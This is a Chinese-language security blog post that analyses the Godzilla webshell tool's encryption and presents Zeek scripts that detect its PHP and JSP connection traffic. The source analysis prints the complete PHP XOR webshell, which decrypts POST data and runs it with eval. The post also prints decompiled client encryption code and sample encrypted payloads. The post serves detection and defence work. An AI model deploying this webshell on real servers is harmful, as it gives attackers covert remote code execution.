Zeek - Detect Godzilla WebShell

写在前面

Godzilla(哥斯拉):

image-20211211235918877

​ 身高:50米

​ 体重:2万吨

​ 攻击方式:放射热线、白热光、袋鼠踢、投掷、搏击、尾鞭

​ 一种生活在侏罗纪和白垩纪之间的罕见海栖爬虫类和陆生兽类的中间形态生物的残存个体,因氢弹试验的影响而出现。最初在太平洋上出现并袭击货船,后经大户岛在东京登陆,造成巨大破坏。最终在东京湾被芹泽博士发明的水中氧气破坏素(核能氧气素/氧气破坏者)杀死。

​ 以下文章将简述如何捕获该怪兽,首先派大量直升机去恶魔岛劫持另一体型巨大但温和许多的巨兽:金刚。然后让金刚抗伤害人类偷袭就好。本篇完!

image-20211211235918877

实在编不下去了,来点正经的吧。。。


Godzilla(哥斯拉)是一款优秀的WebShell权限管理工具,其特点有:

  • 哥斯拉全部类型的Shell均过市面所有静态查杀

  • 哥斯拉流量加密过市面全部流量WAF

  • 哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的

Zeek (原名:Bro) 是一个开源的网络流量分析器。许多运营商将Zeek作为网络安全监控器(NSM),支持对可疑或恶意活动的调查。Zeek还支持安全领域以外的广泛的流量分析任务,包括性能测量和故障排除。其特点有:

  • 深度分析:Zeek带有许多协议的分析器,可以在应用层进行高级语义分析。

  • 适应性和灵活性:Zeek的特定领域脚本语言可以实现特定地点的监控策略,这意味着它不受限于任何特定的检测方法。

  • 高效:Zeek以高性能网络为目标,在各种大型网站上运行。

  • 高度的状态性:Zeek对其监控的网络保持广泛的应用层状态,并提供网络活动的高级档案。

环境

  • Godzilla: v4.0.1
  • Zeek:v4.1.0
  • WebShell:
    • PHP XOR BASE64
    • JSP AES BASE64

源码分析

PHP XOR BASE64

客户端

  • 基础配置:URL、密码、密钥、加密器等信息。如下图所示:
    • 密码:和蚁剑、菜刀一样,密码就是POST请求中的参数名称。例如,在本例中密码为Happy,那么Godzilla提交的每个请求都是Happy=XXX这种形式。以下称为pass
    • 密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的MD5值,然后取其前16位用于加密。以下为称为key
    • 有效载荷:生成对应类型的WebShell
    • 加密器:控制WebShell的加密方式
    • 请求配置:主要用于自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,进一步降低流量的特征

image-20211130173607606

  • 由于Godzilla的源码作者并未做混淆,所以通过jadx工具很方便就能得到源码。

    对于PHP XOR BASE64加密方式来说,首位各附加了16位的校验字符串(pass + key 计算的MD5值)。

1
2
3
4
5
6
7
8
9
10
public class PhpXor implements Cryption {
public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX().getBytes();
this.pass = this.shell.getPassword();
String findStrMd5 = functions.md5(this.pass + new String(this.key)); // 校验字符串
this.findStrLeft = findStrMd5.substring(0, 16); // 前16位MD5
this.findStrRight = findStrMd5.substring(16); // 后16位MD5
}
  • 请求加密
    • 对于明文数据使用key进行按位异或->base64编码->url编码,实现数据加密;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  public byte[] encode(byte[] data) {
try {
return E(data);
} catch (Exception e) {
Log.error(e);
return null;
}
}

// 通过key按位异或
public byte[] E(byte[] cs) {
int len = cs.length;
for (int i = 0; i < len; i++) {
cs[i] = (byte) (cs[i] ^ this.key[(i + 1) & 15]);
}
return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
}
  • 响应解密

    • 首先调用findStr方法删除响应数据中的前后16位校验字符串;

    • 然后利用base64Decode方法解码字符串;

    • 最后使用key按位异或,实现数据解密;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public byte[] decode(byte[] data) {
if (data == null || data.length <= 0) {
return data;
}
try {
return D(findStr(data));
} catch (Exception e) {
Log.error(e);
return null;
}
}

public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
int len = cs.length;
for (int i = 0; i < len; i++) {
cs[i] = (byte) (cs[i] ^ this.key[(i + 1) & 15]);
}
return cs;
}

public String findStr(byte[] respResult) {
return functions.subMiddleStr(new String(respResult), this.findStrLeft, this.findStrRight);
}

演示数据 - 数据解密

image-20211201143236656

服务端

PHP XOR BASE64 类型的加密Shell的服务器端代码如下,其中定义了encode函数,用于加密或解密请求数据。由于是通过按位异或实现的加密,所以encode函数即可用于加密,同时也可用于解密。整个Shell的基本执行流程是:服务器接收到Godzilla发送的第一个请求后,由于此时尚未建立session,所以将POST请求数据解密后(得到的内容为Shell操作中所需要用到的相关php函数定义代码)存入session中,后续Godzilla只会提交相关操作对应的函数名称(如获取目录中的文件列表对应的函数为getFile)和相关参数,这样哥斯拉的相关操作就不需要发送大量的请求数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='Happy';
$payloadName='payload';
$key='bdf2e45b317c4585';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

JSP AES BASE64

​ JSP WebShell 则采用了AES加密形式,AES加密的key。同样是计算密钥的MD5值,然后取其前16位用于加密。更深入的分析大家可以去参考,这并不是本文的重点。**【原创】哥斯拉Godzilla加密流量分析**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX();
this.pass = this.shell.getPassword();
String findStrMd5 = functions.md5(this.pass + this.key);
this.findStrLeft = findStrMd5.substring(0, 16).toUpperCase();
this.findStrRight = findStrMd5.substring(16).toUpperCase();
try {
this.encodeCipher = Cipher.getInstance("AES");
this.decodeCipher = Cipher.getInstance("AES");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"));
this.payload = this.shell.getPayloadModule().getPayload();
if (this.payload != null) {
this.http.sendHttpResponse(this.payload);
this.state = true;
} else {
Log.error("payload Is Null");
}
} catch (Exception e) {
Log.error(e);
}
}

public byte[] encode(byte[] data) {
try {
return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(this.encodeCipher.doFinal(data)))).getBytes();
} catch (Exception e) {
Log.error(e);
return null;
}
}

public byte[] decode(byte[] data) {
try {
return this.decodeCipher.doFinal(functions.base64Decode(findStr(data)));
} catch (Exception e) {
Log.error(e);
return null;
}
}

特征提取

​ 结合上面的分析,传统通过静态特征的匹配方式已不在适用于Godzilla WebShell检测。不过,我们可以将多个特征进行结合实现一个检测的模型来对Godzilla PHP XOR BASE64 WebShell的检测。下面我们来列举一下检测特征:

  1. 频率

    Godzilla连接WebShell的时会在一次TCP会话中发起3次HTTP POST请求。

    image-20211206111919028

    ​ 注意看下uid均为CbhiAefsstFeAyCM6表示是一次TCP会话请求。

    image-20211206114412112

  1. 长度

    Godzilla虽然对传输时的payload进行了加密,但是初始连接时3次请求中的内容是固定的,所以通过XOR + BASE64编码后的长度是不变的。

    • 第一次请求长度(Value):52216

      ​ Godzilla加载payload.php文件内容作为payload数据,其中定义了Shell功能所需的一系列函数,Godzilla第一次连接Shell时,会将这些函数定义发送给服务器并存储在session中,后续的Shell操作只需要发送函数名称以及对应的函数参数即可。

    image-20211204004016084

    • 第一次响应长度:0

      image-20211204005107879

    • 第二次请求长度(Value):28

      • 密文: CQNGDVtRLFJcUmEwNTg1FgEVRg==
      • 明文:{'methodName': 'test'}

      image-20211204010342657

    • 第二次响应长度:64

      • 密文:e+06ZTQ1YjMxNKj7Mzhyv7gfMGU0NQ==
      • 明文:ok

      image-20211204011821599

    • 第三次请求长度(Value):40

      • 密文:CQNGDVtRLFJcUmE5NTg1BQEScARHXAFAeFkFWw==
      • 明文:{'methodName': 'getBasicsInfo'}

      image-20211204012318391注:第三次响应数据包,不可作为特征提取。因为每个服务器的基础信息不一样,所以返回内容长度也不一样。

  2. 内容

    有的小伙伴会奇怪,都已经加密了还能从内容上做哪些判断。其实还是可以有的,只不过并不是传统的“威胁特征”

    • 请求:3次请求中的key均相等,此例中为:Happy

    image-20211206111328799

    • 响应:响应数据包中首尾各16位数值可满足MD5的提取[a-z0-9]{16}.+[a-z0-9]{16},且2次响应包中的16位数值均相等

    image-20211206105322612

    image-20211206110509962

检测模型

image-20211208151817057

PHP XOR BASE64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
@load base/frameworks/sumstats

redef enum Notice::Type +=
{
WebShell_Godzilla_PHP_XOR_BASE64
};

## 使用Summary Statistics Framework(统计框架)对http请求进行测量。
event http_message_done(c: connection, is_orig: bool, stat: http_message_stat)
{
if ( (c?$http) && (c$http?$status_code) && (c$http?$method) && (c$http?$client_body) )
{
if ( (c$http$status_code) == 200 && (c$http$method == "POST") )
{
local key_str: string = c$http$uid + "#####" + cat(c$id$orig_h) + "#####" + cat(c$id$orig_p) + "#####" + cat(c$id$resp_h)+ "#####" + cat(c$id$resp_p) + "#####" + c$http$uri;
local observe_str: string = cat(c$http$ts) + "#####" + c$http$client_body + "#####" + c$http$server_body + "#####" + cat(c$http$request_body_len);
## 第一步,创建一个观察器,将数据添加到观察器中。
SumStats::observe("godzilla_php_xor_base64_webshell_event", [$str=key_str], [$str=observe_str]);
}
}
}

event zeek_init()
{
## 第二步,根据指定的观察流进行处理,此处采用计算唯一值的方式。
local r1 = SumStats::Reducer($stream = "godzilla_php_xor_base64_webshell_event", $apply = set(SumStats::UNIQUE));
## 第三步,创建汇总统计,以便最终对其进行处理。例:当在3秒的时间窗内满足3次阈值将会执行以下逻辑;
SumStats::create([$name = "godzilla_php_xor_base64_webshell_event.unique",
$epoch = 3sec,
$reducers = set(r1),
$threshold = 3.0,
$threshold_val(key: SumStats::Key, result: SumStats::Result) =
{
return result["godzilla_php_xor_base64_webshell_event"]$num + 0.0;
},
$threshold_crossed(key: SumStats::Key, result: SumStats::Result) =
{
if ( result["godzilla_php_xor_base64_webshell_event"]$unique == 3 )
{
local sig1: bool = F;
local sig2: bool = F;
local sig3: bool = F;
local pass_str_set: set[string];
local md5_str_set: set[string];
local key_str_vector: vector of string = split_string(key$str, /#####/);

for ( value in result["godzilla_php_xor_base64_webshell_event"]$unique_vals )
{
local observe_str_vector: vector of string = split_string(value$str, /#####/);
local client_body = unescape_URI(observe_str_vector[1]);
local server_body = unescape_URI(observe_str_vector[2]);
local client_body_len = to_int(observe_str_vector[3]);
local offset = strstr(client_body, "=");
local client_body_value = client_body[offset: |client_body|];

## 获取请求参数
if (offset > 1)
## 本例中: Happy=CQNGDVtRLFJcUmEwNTg1FgEVRg%3D%3D
add pass_str_set[client_body[0: offset-1]];

## 响应体长度 > 0,提取首位各16字节并检查是否满足MD5格式
if (|server_body| > 0)
{
## 本例中: 52f0f23a94a8a3f0e+06ZTQ1YjMxNKj7Mzhyv7gfMGU0NQ==468e329e21eb39e8
local server_body_str = server_body[0: 16] + server_body[-16: ];
local server_body_md5 = find_all_ordered(server_body_str, /[a-zA-Z0-9]{32}/);
if (|server_body_md5| == 0)
return;
add md5_str_set[server_body_str];
}

## 请求体长度 > 52216 && 响应体长度 = 0
if ( (client_body_len > 52216) && (|server_body| == 0) )
sig1 = T;

## 请求体长度 = 28 && 响应体长度 = 64
if ( (|client_body_value| == 28) && (|server_body| == 64) )
sig2 = T;

## 请求体长度 = 40
if ( |client_body_value| == 40 )
sig3 = T;
}

if ( sig1 && sig2 && sig3 )
{
## 判断3次请求参数是否唯一
## 判断后2次提取的MD5值是否唯一
if ( (|pass_str_set| == 1) && (|md5_str_set| == 1) )
{
NOTICE([
$note=WebShell_Godzilla_PHP_XOR_BASE64,
$uid=key_str_vector[0],
$src=to_addr(key_str_vector[1]),
$dst=to_addr(key_str_vector[3]),
$msg=fmt("[+] Godzilla(PHP_XOR_BASE64) traffic Detected, %s:%s -> %s:%s, WebShell URI: %s", key_str_vector[1], key_str_vector[2], key_str_vector[3], key_str_vector[4], key_str_vector[5]),
$sub=cat("Godzilla traffic Detected")
]);
}
}
}
}
]);
}

JSP AES BASE64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
@load base/frameworks/sumstats

redef enum Notice::Type +=
{
WebShell_Godzilla_JSP_AES_BASE64
};

event http_message_done(c: connection, is_orig: bool, stat: http_message_stat)
{
if ( c?$http && c$http?$status_code && c$http?$method )
{
if ( (c$http$status_code) == 200 && (c$http$method == "POST") && (c$http?$client_body) )
{
local key_str: string = c$http$uid + "#####" + cat(c$id$orig_h) + "#####" + cat(c$id$orig_p) + "#####" + cat(c$id$resp_h)+ "#####" + cat(c$id$resp_p) + "#####" + c$http$uri;
local observe_str: string = cat(c$http$ts) + "#####" + c$http$client_body + "#####" + c$http$server_body + "#####" + cat(c$http$request_body_len);
SumStats::observe("godzilla_jsp_aes_base64_webshell_event", [$str=key_str], [$str=observe_str]);
}
}
}

event zeek_init()
{
local r1 = SumStats::Reducer($stream = "godzilla_jsp_aes_base64_webshell_event", $apply = set(SumStats::UNIQUE));
SumStats::create([$name = "godzilla_jsp_aes_base64_webshell_event.unique",
$epoch = 5sec,
$reducers = set(r1),
$threshold = 3.0,
$threshold_val(key: SumStats::Key, result: SumStats::Result) =
{
return result["godzilla_jsp_aes_base64_webshell_event"]$num + 0.0;
},
$threshold_crossed(key: SumStats::Key, result: SumStats::Result) =
{
if ( result["godzilla_jsp_aes_base64_webshell_event"]$unique == 3 )
{
local sig1: bool = F;
local sig2: bool = F;
local sig3: bool = F;
local pass_str_set: set[string];
local md5_str_set: set[string];
local key_str_vector: vector of string = split_string(key$str, /#####/);

for ( value in result["godzilla_jsp_aes_base64_webshell_event"]$unique_vals )
{
local observe_str_vector: vector of string = split_string(value$str, /#####/);
local client_body = unescape_URI(observe_str_vector[1]);
local server_body = unescape_URI(observe_str_vector[2]);
local client_body_len = to_int(observe_str_vector[3]);
local offset = strstr(client_body, "=");
local client_body_value = client_body[offset: |client_body|];

## 获取 WebShell Password Key
if (offset > 1)
add pass_str_set[client_body[0: offset-1]];

if (|server_body| > 0)
{
local server_body_str = server_body[0: 16] + server_body[-16: ];
local server_body_md5 = find_last(server_body_str, /[a-zA-Z0-9]{32}/);
add md5_str_set[server_body_md5];
}

## 请求体长度 > 48500 && 响应体长度 = 0
if ( (client_body_len > 48500) && (|server_body| == 0) )
sig1 = T;

## 请求体长度 = 64 && 响应体长度 = 76
if ( (|client_body_value| == 64) && (|server_body| == 76) && (server_body_str == server_body_md5) )
sig2 = T;

## 请求体长度 = 88
if ( |client_body_value| == 88 && (server_body_str == server_body_md5) )
sig3 = T;
}

## 判断3次请求体中Password Key 是否唯一、判断23次的响应体中的是否MD5是否唯一
if ( (|pass_str_set| == 1) && (|md5_str_set| == 1) )
if ( sig1 && sig2 && sig3 )
{
NOTICE([
$note=WebShell_Godzilla_JSP_AES_BASE64,
$uid=key_str_vector[0],
$src=to_addr(key_str_vector[1]),
$dst=to_addr(key_str_vector[3]),
$msg=fmt("[+] Godzilla(JSP_AES_BASE64) traffic Detected, %s:%s -> %s:%s, WebShell URI: %s", key_str_vector[1], key_str_vector[2], key_str_vector[3], key_str_vector[4], key_str_vector[5]),
$sub=cat("Godzilla traffic Detected")
]);
}
}
}
]);
}

模型验证

Godzilla v4 Detected